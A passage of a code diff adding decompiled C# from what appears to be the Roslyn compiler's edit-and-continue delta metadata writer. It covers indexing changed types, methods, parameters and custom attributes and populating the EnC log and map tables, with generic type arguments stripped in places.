GetDeltaTableSizes(metadataSizes.RowCounts); + int[] array = new int[MetadataTokens.TableCount]; + for (int i = 0; i < array.Length; i++) + { + array[i] = tableEntriesAdded[i] + deltaTableSizes[i]; + } + ImmutableDictionary> synthesizedMembers = (ImmutableDictionary>)((_previousGeneration.Ordinal == 0) ? ((IDictionary)module.GetAllSynthesizedMembers()) : ((IDictionary)_previousGeneration.SynthesizedMembers)); + ImmutableDictionary> deletedMembers = ((_previousGeneration.Ordinal == 0) ? module.EncSymbolChanges.GetAllDeletedMembers() : _previousGeneration.DeletedMembers); + int num = _previousGeneration.Ordinal + 1; + IReadOnlyDictionary added = _typeDefs.GetAdded(); + Dictionary dictionary2 = CreateDictionary(_previousGeneration.GenerationOrdinals, SymbolEquivalentEqualityComparer.Instance); + foreach (var (typeDefinition2, _) in added) + { + if (_changes.IsReplaced(typeDefinition2)) + { + dictionary2[typeDefinition2] = num; + } + } + return _previousGeneration.With(compilation, module, num, encId, dictionary2, AddRange(_previousGeneration.TypesAdded, added, SymbolEquivalentEqualityComparer.Instance), AddRange(_previousGeneration.EventsAdded, _eventDefs.GetAdded(), SymbolEquivalentEqualityComparer.Instance), AddRange(_previousGeneration.FieldsAdded, _fieldDefs.GetAdded(), SymbolEquivalentEqualityComparer.Instance), AddRange(_previousGeneration.MethodsAdded, _methodDefs.GetAdded(), SymbolEquivalentEqualityComparer.Instance), AddRange(_previousGeneration.FirstParamRowMap, _firstParamRowMap), AddRange(_previousGeneration.PropertiesAdded, _propertyDefs.GetAdded(), SymbolEquivalentEqualityComparer.Instance), AddRange(_previousGeneration.EventMapAdded, _eventMap.GetAdded()), AddRange(_previousGeneration.PropertyMapAdded, _propertyMap.GetAdded()), AddRange(_previousGeneration.MethodImplsAdded, _methodImpls.GetAdded()), AddRange(_previousGeneration.CustomAttributesAdded, _customAttributesAdded), ImmutableArray.Create(array), metadataSizes.GetAlignedHeapSize(HeapIndex.Blob) + _previousGeneration.BlobStreamLengthAdded, metadataSizes.HeapSizes[1] + _previousGeneration.StringStreamLengthAdded, metadataSizes.GetAlignedHeapSize(HeapIndex.UserString) + _previousGeneration.UserStringStreamLengthAdded, metadataSizes.HeapSizes[3], ((IPEDeltaAssemblyBuilder)module).GetSynthesizedTypes(), synthesizedMembers, deletedMembers, AddRange(_previousGeneration.AddedOrChangedMethods, dictionary), _previousGeneration.DebugInformationProvider, _previousGeneration.LocalSignatureProvider); + } + + private static Dictionary CreateDictionary(IReadOnlyDictionary dictionary, IEqualityComparer? comparer) where K : notnull + { + Dictionary dictionary2 = new Dictionary(comparer); + foreach (KeyValuePair item in dictionary) + { + dictionary2.Add(item.Key, item.Value); + } + return dictionary2; + } + + private static IReadOnlyDictionary AddRange(IReadOnlyDictionary previous, IReadOnlyDictionary current, IEqualityComparer? comparer = null) where K : notnull + { + if (previous.Count == 0) + { + return current; + } + if (current.Count == 0) + { + return previous; + } + Dictionary dictionary = CreateDictionary(previous, comparer); + foreach (KeyValuePair item in current) + { + dictionary[item.Key] = item.Value; + } + return dictionary; + } + + public void GetUpdatedMethodTokens(ArrayBuilder methods) + { + foreach (IMethodDefinition row in _methodDefs.GetRows()) + { + if (!_methodDefs.IsAddedNotChanged(row)) + { + IMethodBody body = row.GetBody(Context); + if (body != null && body.SequencePoints.Length > 0) + { + methods.Add(MetadataTokens.MethodDefinitionHandle(_methodDefs.GetRowId(row))); + } + } + } + } + + public void GetChangedTypeTokens(ArrayBuilder types) + { + foreach (ITypeDefinition changedTypeDef in _changedTypeDefs) + { + types.Add(GetTypeDefinitionHandle(changedTypeDef)); + } + } + + protected override EventDefinitionHandle GetEventDefinitionHandle(IEventDefinition def) + { + return MetadataTokens.EventDefinitionHandle(_eventDefs.GetRowId(def)); + } + + protected override IReadOnlyList GetEventDefs() + { + return _eventDefs.GetRows(); + } + + protected override FieldDefinitionHandle GetFieldDefinitionHandle(IFieldDefinition def) + { + return MetadataTokens.FieldDefinitionHandle(_fieldDefs.GetRowId(def)); + } + + protected override IReadOnlyList GetFieldDefs() + { + return _fieldDefs.GetRows(); + } + + protected override bool TryGetTypeDefinitionHandle(ITypeDefinition def, out TypeDefinitionHandle handle) + { + int rowId; + bool result = _typeDefs.TryGetRowId(def, out rowId); + handle = MetadataTokens.TypeDefinitionHandle(rowId); + return result; + } + + protected override TypeDefinitionHandle GetTypeDefinitionHandle(ITypeDefinition def) + { + return MetadataTokens.TypeDefinitionHandle(_typeDefs.GetRowId(def)); + } + + protected override ITypeDefinition GetTypeDef(TypeDefinitionHandle handle) + { + return _typeDefs.GetDefinition(MetadataTokens.GetRowNumber(handle)); + } + + protected override IReadOnlyList GetTypeDefs() + { + return _typeDefs.GetRows(); + } + + protected override bool TryGetMethodDefinitionHandle(IMethodDefinition def, out MethodDefinitionHandle handle) + { + int rowId; + bool result = _methodDefs.TryGetRowId(def, out rowId); + handle = MetadataTokens.MethodDefinitionHandle(rowId); + return result; + } + + protected override MethodDefinitionHandle GetMethodDefinitionHandle(IMethodDefinition def) + { + return MetadataTokens.MethodDefinitionHandle(_methodDefs.GetRowId(def)); + } + + protected override IMethodDefinition GetMethodDef(MethodDefinitionHandle index) + { + return _methodDefs.GetDefinition(MetadataTokens.GetRowNumber(index)); + } + + protected override IReadOnlyList GetMethodDefs() + { + return _methodDefs.GetRows(); + } + + protected override PropertyDefinitionHandle GetPropertyDefIndex(IPropertyDefinition def) + { + return MetadataTokens.PropertyDefinitionHandle(_propertyDefs.GetRowId(def)); + } + + protected override IReadOnlyList GetPropertyDefs() + { + return _propertyDefs.GetRows(); + } + + protected override ParameterHandle GetParameterHandle(IParameterDefinition def) + { + return MetadataTokens.ParameterHandle(_parameterDefs.GetRowId(def)); + } + + protected override IReadOnlyList GetParameterDefs() + { + return _parameterDefs.GetRows(); + } + + protected override IReadOnlyList GetGenericParameters() + { + return _genericParameters.GetRows(); + } + + protected override FieldDefinitionHandle GetFirstFieldDefinitionHandle(INamedTypeDefinition typeDef) + { + return default(FieldDefinitionHandle); + } + + protected override MethodDefinitionHandle GetFirstMethodDefinitionHandle(INamedTypeDefinition typeDef) + { + return default(MethodDefinitionHandle); + } + + protected override ParameterHandle GetFirstParameterHandle(IMethodDefinition methodDef) + { + return default(ParameterHandle); + } + + protected override AssemblyReferenceHandle GetOrAddAssemblyReferenceHandle(IAssemblyReference reference) + { + AssemblyIdentity assemblyIdentity = reference.Identity; + Version assemblyVersionPattern = reference.AssemblyVersionPattern; + if ((object)assemblyVersionPattern != null) + { + assemblyIdentity = _previousGeneration.InitialBaseline.LazyMetadataSymbols.AssemblyReferenceIdentityMap[assemblyIdentity.WithVersion(assemblyVersionPattern)]; + } + return MetadataTokens.AssemblyReferenceHandle(_assemblyRefIndex.GetOrAdd(assemblyIdentity)); + } + + protected override IReadOnlyList GetAssemblyRefs() + { + return _assemblyRefIndex.Rows; + } + + protected override ModuleReferenceHandle GetOrAddModuleReferenceHandle(string reference) + { + return MetadataTokens.ModuleReferenceHandle(_moduleRefIndex.GetOrAdd(reference)); + } + + protected override IReadOnlyList GetModuleRefs() + { + return _moduleRefIndex.Rows; + } + + protected override MemberReferenceHandle GetOrAddMemberReferenceHandle(ITypeMemberReference reference) + { + return MetadataTokens.MemberReferenceHandle(_memberRefIndex.GetOrAdd(reference)); + } + + protected override IReadOnlyList GetMemberRefs() + { + return _memberRefIndex.Rows; + } + + protected override MethodSpecificationHandle GetOrAddMethodSpecificationHandle(IGenericMethodInstanceReference reference) + { + return MetadataTokens.MethodSpecificationHandle(_methodSpecIndex.GetOrAdd(reference)); + } + + protected override IReadOnlyList GetMethodSpecs() + { + return _methodSpecIndex.Rows; + } + + protected override bool TryGetTypeReferenceHandle(ITypeReference reference, out TypeReferenceHandle handle) + { + int index; + bool result = _typeRefIndex.TryGetValue(reference, out index); + handle = MetadataTokens.TypeReferenceHandle(index); + return result; + } + + protected override TypeReferenceHandle GetOrAddTypeReferenceHandle(ITypeReference reference) + { + return MetadataTokens.TypeReferenceHandle(_typeRefIndex.GetOrAdd(reference)); + } + + protected override IReadOnlyList GetTypeRefs() + { + return _typeRefIndex.Rows; + } + + protected override TypeSpecificationHandle GetOrAddTypeSpecificationHandle(ITypeReference reference) + { + return MetadataTokens.TypeSpecificationHandle(_typeSpecIndex.GetOrAdd(reference)); + } + + protected override IReadOnlyList GetTypeSpecs() + { + return _typeSpecIndex.Rows; + } + + protected override StandaloneSignatureHandle GetOrAddStandaloneSignatureHandle(BlobHandle blobIndex) + { + return MetadataTokens.StandaloneSignatureHandle(_standAloneSignatureIndex.GetOrAdd(blobIndex)); + } + + protected override IReadOnlyList GetStandaloneSignatureBlobHandles() + { + return _standAloneSignatureIndex.Rows; + } + + protected override void OnIndicesCreated() + { + ((IPEDeltaAssemblyBuilder)module).OnCreatedIndices(Context.Diagnostics); + } + + protected override void CreateIndicesForNonTypeMembers(ITypeDefinition typeDef) + { + SymbolChange change = _changes.GetChange(typeDef); + switch (change) + { + case SymbolChange.Added: + { + _typeDefs.Add(typeDef); + _changedTypeDefs.Add(typeDef); + IEnumerable consolidatedTypeParameters = GetConsolidatedTypeParameters(typeDef); + if (consolidatedTypeParameters == null) + { + break; + } + foreach (IGenericTypeParameter item4 in consolidatedTypeParameters) + { + _genericParameters.Add(item4); + } + break; + } + case SymbolChange.Updated: + _typeDefs.AddUpdated(typeDef); + _changedTypeDefs.Add(typeDef); + break; + case SymbolChange.ContainsChanges: + _changedTypeDefs.Add(typeDef); + break; + case SymbolChange.None: + return; + default: + throw ExceptionUtilities.UnexpectedValue(change); + } + int rowId = _typeDefs.GetRowId(typeDef); + foreach (IEventDefinition @event in typeDef.GetEvents(Context)) + { + if (!_eventMap.Contains(rowId)) + { + _eventMap.Add(rowId); + } + SymbolChange changeForPossibleReAddedMember = _changes.GetChangeForPossibleReAddedMember(@event, DefinitionExistsInAnyPreviousGeneration); + AddDefIfNecessary(_eventDefs, @event, changeForPossibleReAddedMember); + } + foreach (IFieldDefinition field in typeDef.GetFields(Context)) + { + SymbolChange changeForPossibleReAddedMember2 = _changes.GetChangeForPossibleReAddedMember(field, DefinitionExistsInAnyPreviousGeneration); + AddDefIfNecessary(_fieldDefs, field, changeForPossibleReAddedMember2); + } + foreach (IMethodDefinition method in typeDef.GetMethods(Context)) + { + SymbolChange changeForPossibleReAddedMember3 = _changes.GetChangeForPossibleReAddedMember(method, DefinitionExistsInAnyPreviousGeneration); + AddDefIfNecessary(_methodDefs, method, changeForPossibleReAddedMember3); + CreateIndicesForMethod(method, changeForPossibleReAddedMember3); + } + ImmutableArray deletedMethods = _changes.GetDeletedMethods(typeDef); + if (deletedMethods.Length > 0) + { + ImmutableArray value = deletedMethods.SelectAsArray((ISymbolInternal m, (ITypeDefinition typeDef, Dictionary _typesUsedByDeletedMembers) args) => new DeletedMethodDefinition((IMethodDefinition)m.GetCciAdapter(), args.typeDef, args._typesUsedByDeletedMembers), (typeDef, _typesUsedByDeletedMembers)); + ImmutableArray.Enumerator enumerator5 = value.GetEnumerator(); + while (enumerator5.MoveNext()) + { + DeletedMethodDefinition current5 = enumerator5.Current; + _methodDefs.AddUpdated(current5); + CreateIndicesForMethod(current5, SymbolChange.Updated); + } + _deletedTypeMembers.Add(typeDef, value); + } + foreach (IPropertyDefinition property in typeDef.GetProperties(Context)) + { + if (!_propertyMap.Contains(rowId)) + { + _propertyMap.Add(rowId); + } + SymbolChange changeForPossibleReAddedMember4 = _changes.GetChangeForPossibleReAddedMember(property, DefinitionExistsInAnyPreviousGeneration); + AddDefIfNecessary(_propertyDefs, property, changeForPossibleReAddedMember4); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (Microsoft.Cci.MethodImplementation explicitImplementationOverride in typeDef.GetExplicitImplementationOverrides(Context)) + { + IMethodDefinition item = (IMethodDefinition)explicitImplementationOverride.ImplementingMethod.AsDefinition(Context); + int rowId2 = _methodDefs.GetRowId(item); + MethodImplKey item2 = new MethodImplKey(rowId2, 1); + if (!_methodImpls.Contains(item2)) + { + instance.Add(rowId2); + methodImplList.Add(explicitImplementationOverride); + } + } + ArrayBuilder.Enumerator enumerator8 = instance.GetEnumerator(); + while (enumerator8.MoveNext()) + { + int current8 = enumerator8.Current; + int num = 1; + MethodImplKey item3; + while (true) + { + item3 = new MethodImplKey(current8, num); + if (!_methodImpls.Contains(item3)) + { + break; + } + num++; + } + _methodImpls.Add(item3); + } + instance.Free(); + } + + private bool DefinitionExistsInAnyPreviousGeneration(ITypeDefinitionMember item) + { + int index; + if (!(item is IMethodDefinition item2)) + { + if (!(item is IPropertyDefinition item3)) + { + if (!(item is IFieldDefinition item4)) + { + if (item is IEventDefinition item5) + { + return TryGetExistingEventDefIndex(item5, out index); + } + return false; + } + return TryGetExistingFieldDefIndex(item4, out index); + } + return TryGetExistingPropertyDefIndex(item3, out index); + } + return TryGetExistingMethodDefIndex(item2, out index); + } + + private void CreateIndicesForMethod(IMethodDefinition methodDef, SymbolChange methodChange) + { + switch (methodChange) + { + case SymbolChange.Added: + { + _firstParamRowMap.Add(GetMethodDefinitionHandle(methodDef), _parameterDefs.NextRowId); + ImmutableArray.Enumerator enumerator = GetParametersToEmit(methodDef).GetEnumerator(); + while (enumerator.MoveNext()) + { + IParameterDefinition current = enumerator.Current; + _parameterDefs.Add(current); + _parameterDefList.Add(current, methodDef); + } + break; + } + case SymbolChange.Updated: + { + MethodDefinitionHandle methodDefinitionHandle = GetMethodDefinitionHandle(methodDef); + if (_previousGeneration.OriginalMetadata.MetadataReader.GetTableRowCount(TableIndex.MethodDef) >= MetadataTokens.GetRowNumber(methodDefinitionHandle)) + { + EmitParametersFromOriginalMetadata(methodDef, methodDefinitionHandle); + } + else + { + EmitParametersFromDelta(methodDef, methodDefinitionHandle); + } + break; + } + } + if (methodChange != SymbolChange.Added || methodDef.GenericParameterCount <= 0) + { + return; + } + foreach (IGenericMethodParameter genericParameter in methodDef.GenericParameters) + { + _genericParameters.Add(genericParameter); + } + } + + private void EmitParametersFromOriginalMetadata(IMethodDefinition methodDef, MethodDefinitionHandle handle) + { + ParameterHandleCollection parameters = _previousGeneration.OriginalMetadata.MetadataReader.GetMethodDefinition(handle).GetParameters(); + ImmutableArray parametersToEmit = GetParametersToEmit(methodDef); + int num = 0; + foreach (ParameterHandle item in parameters) + { + IParameterDefinition parameterDefinition = parametersToEmit[num]; + _parameterDefs.AddUpdated(parameterDefinition); + _existingParameterDefs.Add(parameterDefinition, MetadataTokens.GetRowNumber(item)); + _parameterDefList.Add(parameterDefinition, methodDef); + num++; + } + } + + private void EmitParametersFromDelta(IMethodDefinition methodDef, MethodDefinitionHandle handle) + { + _previousGeneration.FirstParamRowMap.TryGetValue(handle, out var value); + ImmutableArray.Enumerator enumerator = GetParametersToEmit(methodDef).GetEnumerator(); + while (enumerator.MoveNext()) + { + IParameterDefinition current = enumerator.Current; + _parameterDefs.AddUpdated(current); + _existingParameterDefs.Add(current, value++); + _parameterDefList.Add(current, methodDef); + } + } + + private bool AddDefIfNecessary(DefinitionIndex defIndex, T def, SymbolChange change) where T : class, IDefinition + { + switch (change) + { + case SymbolChange.Added: + defIndex.Add(def); + return true; + case SymbolChange.Updated: + defIndex.AddUpdated(def); + return false; + case SymbolChange.ContainsChanges: + return false; + default: + return false; + } + } + + protected override ReferenceIndexer CreateReferenceVisitor() + { + return new DeltaReferenceIndexer(this); + } + + protected override void ReportReferencesToAddedSymbols() + { + foreach (ITypeReference typeRef in GetTypeRefs()) + { + ReportReferencesToAddedSymbol(typeRef.GetInternalSymbol()); + } + foreach (ITypeMemberReference memberRef in GetMemberRefs()) + { + ReportReferencesToAddedSymbol(memberRef.GetInternalSymbol()); + } + } + + private void ReportReferencesToAddedSymbol(ISymbolInternal? symbol) + { + if (symbol != null && _changes.IsAdded(symbol.GetISymbol())) + { + Context.Diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_EncReferenceToAddedMember, MetadataWriter.GetSymbolLocation(symbol), symbol.Name, symbol.ContainingAssembly.Name)); + } + } + + protected override StandaloneSignatureHandle SerializeLocalVariablesSignature(IMethodBody body) + { + ImmutableArray localVariables = body.LocalVariables; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + StandaloneSignatureHandle result; + if (localVariables.Length > 0) + { + PooledBlobBuilder instance2 = PooledBlobBuilder.GetInstance(); + LocalVariablesEncoder localVariablesEncoder = new BlobEncoder(instance2).LocalVariableSignature(localVariables.Length); + ImmutableArray.Enumerator enumerator = localVariables.GetEnumerator(); + while (enumerator.MoveNext()) + { + ILocalDefinition current = enumerator.Current; + byte[] array = current.Signature; + if (array == null) + { + int count = instance2.Count; + SerializeLocalVariableType(localVariablesEncoder.AddVariable(), current); + array = instance2.ToArray(count, instance2.Count - count); + } + else + { + instance2.WriteBytes(array); + } + instance.Add(CreateEncLocalInfo(current, array)); + } + BlobHandle orAddBlob = metadata.GetOrAddBlob(instance2); + result = GetOrAddStandaloneSignatureHandle(orAddBlob); + instance2.Free(); + } + else + { + result = default(StandaloneSignatureHandle); + } + AddedOrChangedMethodInfo value = new AddedOrChangedMethodInfo(body.MethodId, instance.ToImmutable(), body.LambdaDebugInfo, body.ClosureDebugInfo, body.StateMachineTypeName, body.StateMachineHoistedLocalSlots, body.StateMachineAwaiterSlots, body.StateMachineStatesDebugInfo); + _addedOrChangedMethods.Add(body.MethodDefinition, value); + instance.Free(); + return result; + } + + private EncLocalInfo CreateEncLocalInfo(ILocalDefinition localDef, byte[] signature) + { + if (localDef.SlotInfo.Id.IsNone) + { + return new EncLocalInfo(signature); + } + ITypeReference typeReference = localDef.Type; + if (typeReference.GetInternalSymbol() is ITypeSymbolInternal type) + { + typeReference = Context.Module.EncTranslateType(type, Context.Diagnostics); + } + return new EncLocalInfo(localDef.SlotInfo, typeReference, localDef.Constraints, signature); + } + + protected override int AddCustomAttributesToTable(EntityHandle parentHandle, IEnumerable attributes) + { + int num = base.AddCustomAttributesToTable(parentHandle, attributes); + _customAttributeParentCounts.Add(parentHandle, num); + return num; + } + + public override void PopulateEncTables(ImmutableArray typeSystemRowCounts) + { + PopulateEncLogTableRows(typeSystemRowCounts, out List customAttributeEncMapRows, out List paramEncMapRows); + PopulateEncMapTableRows(typeSystemRowCounts, customAttributeEncMapRows, paramEncMapRows); + } + + private void PopulateEncLogTableRows(ImmutableArray rowCounts, out List customAttributeEncMapRows, out List paramEncMapRows) + { + ImmutableArray tableSizes = _previousGeneration.TableSizes; + ImmutableArray deltaTableSizes = GetDeltaTableSizes(rowCounts); + PopulateEncLogTableRows(TableIndex.AssemblyRef, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.ModuleRef, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.MemberRef, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.MethodSpec, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.TypeRef, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.TypeSpec, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.StandAloneSig, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(_typeDefs, TableIndex.TypeDef); + PopulateEncLogTableRows(TableIndex.EventMap, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.PropertyMap, tableSizes, deltaTableSizes); + PopulateEncLogTableEventsOrProperties(_eventDefs, TableIndex.Event, EditAndContinueOperation.AddEvent, _eventMap, TableIndex.EventMap); + PopulateEncLogTableFieldsOrMethods(_fieldDefs, TableIndex.Field, EditAndContinueOperation.AddField); + PopulateEncLogTableFieldsOrMethods(_methodDefs, TableIndex.MethodDef, EditAndContinueOperation.AddMethod); + PopulateEncLogTableEventsOrProperties(_propertyDefs, TableIndex.Property, EditAndContinueOperation.AddProperty, _propertyMap, TableIndex.PropertyMap); + PopulateEncLogTableParameters(out paramEncMapRows); + PopulateEncLogTableRows(TableIndex.Constant, tableSizes, deltaTableSizes); + PopulateEncLogTableCustomAttributes(out customAttributeEncMapRows); + PopulateEncLogTableRows(TableIndex.DeclSecurity, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.ClassLayout, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.FieldLayout, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.MethodSemantics, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.MethodImpl, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.ImplMap, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.FieldRva, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.NestedClass, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.GenericParam, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.InterfaceImpl, tableSizes, deltaTableSizes); + PopulateEncLogTableRows(TableIndex.GenericParamConstraint, tableSizes, deltaTableSizes); + } + + private void PopulateEncLogTableEventsOrProperties(DefinitionIndex index, TableIndex table, EditAndContinueOperation addCode, EventOrPropertyMapIndex map, TableIndex mapTable) where T : class, ITypeDefinitionMember + { + foreach (T row in index.GetRows()) + { + if (index.IsAddedNotChanged(row)) + { + int rowNumber = MetadataTokens.GetRowNumber(GetTypeDefinitionHandle(row.ContainingTypeDefinition)); + int rowId = map.GetRowId(rowNumber); + metadata.AddEncLogEntry(MetadataTokens.Handle(mapTable, rowId), addCode); + } + metadata.AddEncLogEntry(MetadataTokens.Handle(table, index.GetRowId(row)), EditAndContinueOperation.Default); + } + } + + private void PopulateEncLogTableFieldsOrMethods(DefinitionIndex index, TableIndex tableIndex, EditAndContinueOperation addCode) where T : class, ITypeDefinitionMember + { + foreach (T row in index.GetRows()) + { + if (index.IsAddedNotChanged(row)) + { + metadata.AddEncLogEntry(GetTypeDefinitionHandle(row.ContainingTypeDefinition), addCode); + } + metadata.AddEncLogEntry(MetadataTokens.Handle(tableIndex, index.GetRowId(row)), EditAndContinueOperation.Default); + } + } + + private void PopulateEncLogTableParameters(out List paramEncMapRows) + { + paramEncMapRows = new List(); + int firstRowId = _parameterDefs.FirstRowId; + int num = 0; + foreach (IParameterDefinition parameterDef in GetParameterDefs()) + { + IMethodDefinition item = _parameterDefList[parameterDef]; + if (_methodDefs.IsAddedNotChanged(item)) + { + paramEncMapRows.Add(firstRowId + num); + metadata.AddEncLogEntry(MetadataTokens.MethodDefinitionHandle(_methodDefs.GetRowId(item)), EditAndContinueOperation.AddParameter); + metadata.AddEncLogEntry(MetadataTokens.ParameterHandle(firstRowId + num), EditAndContinueOperation.Default); + num++; + } + else + { + ParameterHandle parameterHandle = GetParameterHandle(parameterDef); + paramEncMapRows.Add(MetadataTokens.GetRowNumber(parameterHandle)); + metadata.AddEncLogEntry(parameterHandle, EditAndContinueOperation.Default); + } + } + } + + private void PopulateEncLogTableCustomAttributes(out List customAttributeEncMapRows) + { + customAttributeEncMapRows = new List(); + List<(int parentRowId, HandleKind kind)> deletedAttributeRows = new List<(int, HandleKind)>(); + Dictionary> customAttributesAdded = new Dictionary>(); + int num = _previousGeneration.OriginalMetadata.MetadataReader.GetTableRowCount(TableIndex.CustomAttribute); + if (_previousGeneration.CustomAttributesAdded.Count > 0) + { + num = _previousGeneration.CustomAttributesAdded.SelectMany((KeyValuePair> s) => s.Value).Max(); + } + EntityHandle key; + foreach (KeyValuePair item in _customAttributeParentCounts.OrderBy((KeyValuePair kvp) => CodedIndex.HasCustomAttribute(kvp.Key))) + { + KeyValuePairUtil.Deconstruct(item, out key, out var value); + EntityHandle entityHandle = key; + int num2 = value; + int num3 = 0; + foreach (CustomAttributeHandle customAttribute in _previousGeneration.OriginalMetadata.MetadataReader.GetCustomAttributes(entityHandle)) + { + int rowNumber = MetadataTokens.GetRowNumber(customAttribute); + AddLogEntryOrDelete(rowNumber, entityHandle, num3 < num2, customAttributeEncMapRows); + num3++; + } + if (_previousGeneration.CustomAttributesAdded.TryGetValue(entityHandle, out var value2)) + { + ImmutableArray.Enumerator enumerator3 = value2.GetEnumerator(); + while (enumerator3.MoveNext()) + { + int current = enumerator3.Current; + TrackCustomAttributeAdded(current, entityHandle); + AddLogEntryOrDelete(current, entityHandle, num3 < num2, customAttributeEncMapRows); + num3++; + } + } + for (int num4 = num3; num4 < num2; num4++) + { + num++; + TrackCustomAttributeAdded(num, entityHandle); + AddEncLogEntry(num, customAttributeEncMapRows); + } + } + foreach (KeyValuePair> item2 in customAttributesAdded) + { + KeyValuePairUtil.Deconstruct(item2, out key, out var value3); + EntityHandle key2 = key; + ArrayBuilder arrayBuilder = value3; + _customAttributesAdded.Add(key2, arrayBuilder.ToImmutableAndFree()); + } + foreach (var item3 in deletedAttributeRows) + { + if (!MetadataTokens.TryGetTableIndex(item3.kind, out var index)) + { + throw new InvalidOperationException("Trying to delete a custom attribute for a parent kind that doesn't have a matching table index."); + } + metadata.AddCustomAttribute(MetadataTokens.Handle(index, 0), MetadataTokens.EntityHandle(TableIndex.MemberRef, 0), default(BlobHandle)); + AddEncLogEntry(item3.parentRowId, customAttributeEncMapRows); + } + void AddEncLogEntry(int rowId, List list) + { + list.Add(rowId); + metadata.AddEncLogEntry(MetadataTokens.CustomAttributeHandle(rowId), EditAndContinueOperation.Default); + } + void AddLogEntryOrDelete(int rowId, EntityHandle parent, bool add, List customAttributeEncMapRows2) + { + if (add) + { + AddEncLogEntry(rowId, customAttributeEncMapRows2); + } + else + { + deletedAttributeRows.Add((rowId, parent.Kind)); + } + } + void TrackCustomAttributeAdded(int nextRowId, EntityHandle parent) + { + if (!customAttributesAdded.TryGetValue(parent, out ArrayBuilder value4)) + { + value4 = ArrayBuilder.GetInstance(); + customAttributesAdded.Add(parent, value4); + } + value4.Add(nextRowId); + } + } + + private void PopulateEncLogTableRows(DefinitionIndex index, TableIndex tableIndex) where T : class, IDefinition + { + foreach (T row in index.GetRows()) + { + metadata.AddEncLogEntry(MetadataTokens.Handle(tableIndex, index.GetRowId(row)), EditAndContinueOperation.Default); + } + } + + private void PopulateEncLogTableRows(TableIndex tableIndex, ImmutableArray previousSizes, ImmutableArray deltaSizes) + { + PopulateEncLogTableRows(tableIndex, previousSizes[(int)tableIndex] + 1, deltaSizes[(int)tableIndex]); + } + + private void PopulateEncLogTableRows(TableIndex tableIndex, int firstRowId, int tokenCount) + { + for (int i = 0; i < tokenCount; i++) + { + metadata.AddEncLogEntry(MetadataTokens.Handle(tableIndex, firstRowId + i), EditAndContinueOperation.Default); + } + } + + private void PopulateEncMapTableRows(ImmutableArray rowCounts, List customAttributeEncMapRows, List paramEncMapRows) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray tableSizes = _previousGeneration.TableSizes; + ImmutableArray deltaTableSizes = GetDeltaTableSizes(rowCounts); + AddReferencedTokens(instance, TableIndex.AssemblyRef, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.ModuleRef, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.MemberRef, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.MethodSpec, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.TypeRef, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.TypeSpec, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.StandAloneSig, tableSizes, deltaTableSizes); + AddDefinitionTokens(instance, _typeDefs, TableIndex.TypeDef); + AddDefinitionTokens(instance, _eventDefs, TableIndex.Event); + AddDefinitionTokens(instance, _fieldDefs, TableIndex.Field); + AddDefinitionTokens(instance, _methodDefs, TableIndex.MethodDef); + AddDefinitionTokens(instance, _propertyDefs, TableIndex.Property); + AddRowNumberTokens(instance, paramEncMapRows, TableIndex.Param); + AddReferencedTokens(instance, TableIndex.Constant, tableSizes, deltaTableSizes); + AddRowNumberTokens(instance, customAttributeEncMapRows, TableIndex.CustomAttribute); + AddReferencedTokens(instance, TableIndex.DeclSecurity, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.ClassLayout, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.FieldLayout, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.EventMap, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.PropertyMap, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.MethodSemantics, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.MethodImpl, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.ImplMap, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.FieldRva, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.NestedClass, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.GenericParam, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.InterfaceImpl, tableSizes, deltaTableSizes); + AddReferencedTokens(instance, TableIndex.GenericParamConstraint, tableSizes, deltaTableSizes); + instance.Sort(HandleComparer.Default); + ArrayBuilder.Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + EntityHandle current = enumerator.Current; + metadata.AddEncMapEntry(current); + } + instance.Free(); + if (_debugMetadataOpt != null) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + AddDefinitionTokens(instance2, _methodDefs, TableIndex.MethodDebugInformation); + instance2.Sort(HandleComparer.Default); + enumerator = instance2.GetEnumerator(); + while (enumerator.MoveNext()) + { + EntityHandle current2 = enumerator.Current; + _debugMetadataOpt.AddEncMapEntry(current2); + } + instance2.Free(); + } + } + + private static void AddReferencedTokens(ArrayBuilder builder, TableIndex tableIndex, ImmutableArray 